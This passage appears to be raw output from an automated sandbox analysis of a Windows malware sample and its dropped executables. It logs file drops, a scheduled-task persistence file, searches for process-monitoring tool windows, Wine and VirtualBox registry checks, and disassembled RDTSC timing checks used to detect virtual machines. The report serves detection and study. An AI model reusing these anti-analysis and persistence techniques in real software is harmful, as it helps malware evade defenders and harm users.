Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009318001\3de946c107.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFBGIDHCAAK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFBGIDHCAAK.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFBGIDHCAAK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsFBGIDHCAAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC28A9 second address: DC28AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC28AD second address: DC28B7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F90B9EDE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC28B7 second address: DC28D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F0F91376D56h 0x0000000e jmp 00007F0F91376D5Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1995 second address: DC199F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F90B9EDF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC199F second address: DC19A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1D81 second address: DC1D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC1D85 second address: DC1D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2044 second address: DC2056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC2056 second address: DC205A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC205A second address: DC205E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3B5A second address: DC3B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0F91376D5Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3B6E second address: DC3B91 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0F90B9EDE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0F90B9EDF1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3B91 second address: DC3B96 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3BEA second address: DC3CA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0F90B9EDE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jp 00007F0F90B9EDECh 0x00000015 sub edx, 06424AF1h 0x0000001b push 00000000h 0x0000001d sub esi, dword ptr [ebp+122D359Ch] 0x00000023 pushad 0x00000024 jnp 00007F0F90B9EDE9h 0x0000002a mov dword ptr [ebp+122D229Bh], edi 0x00000030 popad 0x00000031 push 95D8BD5Eh 0x00000036 push ebx 0x00000037 jne 00007F0F90B9EDE8h 0x0000003d pop ebx 0x0000003e add dword ptr [esp], 6A274322h 0x00000045 mov dword ptr [ebp+122D19A0h], eax 0x0000004b push 00000003h 0x0000004d or ecx, dword ptr [ebp+122D37A0h] 0x00000053 push 00000000h 0x00000055 js 00007F0F90B9EDF2h 0x0000005b jo 00007F0F90B9EDECh 0x00000061 jnp 00007F0F90B9EDE6h 0x00000067 push 00000003h 0x00000069 mov edx, dword ptr [ebp+122D35A8h] 0x0000006f call 00007F0F90B9EDE9h 0x00000074 jne 00007F0F90B9EDF1h 0x0000007a jmp 00007F0F90B9EDEBh 0x0000007f push eax 0x00000080 jno 00007F0F90B9EDEEh 0x00000086 mov eax, dword ptr [esp+04h] 0x0000008a push edx 0x0000008b pushad 0x0000008c jmp 00007F0F90B9EDF2h 0x00000091 push eax 0x00000092 push edx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3CA1 second address: DC3CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d push edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edi 0x00000011 popad 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jnp 00007F0F91376D64h 0x0000001c pushad 0x0000001d jnp 00007F0F91376D56h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3CC6 second address: DC3CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov ax, E781h 0x0000000b or dword ptr [ebp+122D198Ah], edx 0x00000011 popad 0x00000012 mov edi, dword ptr [ebp+122D34C0h] 0x00000018 lea ebx, dword ptr [ebp+12457A4Dh] 0x0000001e mov edi, dword ptr [ebp+122D35E0h] 0x00000024 xchg eax, ebx 0x00000025 jnl 00007F0F90B9EDF4h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3CF5 second address: DC3CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3CF9 second address: DC3D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F0F90B9EDE6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3DAE second address: DC3DFC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0F91376D5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov esi, dword ptr [ebp+122D182Fh] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F0F91376D58h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D1914h], ebx 0x00000033 call 00007F0F91376D59h 0x00000038 pushad 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3DFC second address: DC3E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jc 00007F0F90B9EDE6h 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 jg 00007F0F90B9EDE8h 0x00000016 pop eax 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b ja 00007F0F90B9EDF4h 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 jg 00007F0F90B9EDE8h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3F2B second address: DC3F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3F2F second address: DC3F36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD69F5 second address: DD6A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push ecx 0x0000000a jns 00007F0F91376D5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF253 second address: DAF25B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF25B second address: DAF265 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0F91376D56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE333C second address: DE3340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE375C second address: DE3766 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0F91376D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3766 second address: DE377E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F90B9EDF2h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3B9B second address: DE3BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE3E43 second address: DE3E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE4113 second address: DE4122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 jnp 00007F0F91376D5Eh 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE46E0 second address: DE46E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE46E4 second address: DE46F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Ch 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE49D2 second address: DE49D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE98C4 second address: DE98CE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0F91376D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBABBD second address: DBABC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC330 second address: DEC367 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F91376D66h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0F91376D66h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC939 second address: DEC93F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC93F second address: DEC95D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F91376D63h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEC95D second address: DEC973 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F0F90B9EDE6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB2E6 second address: DEB2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEB94E second address: DEB953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFC4F second address: DEFC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFC53 second address: DEFC70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F0F90B9EDE8h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jng 00007F0F90B9EDE6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3FCA second address: DF3FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3FCE second address: DF3FE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF41F2 second address: DF41F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF429E second address: DF42B2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c js 00007F0F90B9EDECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF44B6 second address: DF44C3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0F91376D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF44C3 second address: DF44C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF44C9 second address: DF44DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov esi, dword ptr [ebp+122D3530h] 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF44DD second address: DF44FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F0F90B9EDF4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF44FB second address: DF4525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F0F91376D5Dh 0x0000000d pushad 0x0000000e jmp 00007F0F91376D62h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5473 second address: DF5491 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F0F90B9EDF4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF52B4 second address: DF52BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5491 second address: DF549B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F0F90B9EDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5542 second address: DF5546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF66E4 second address: DF66E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5CE5 second address: DF5CEF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0F91376D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF66E9 second address: DF66EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
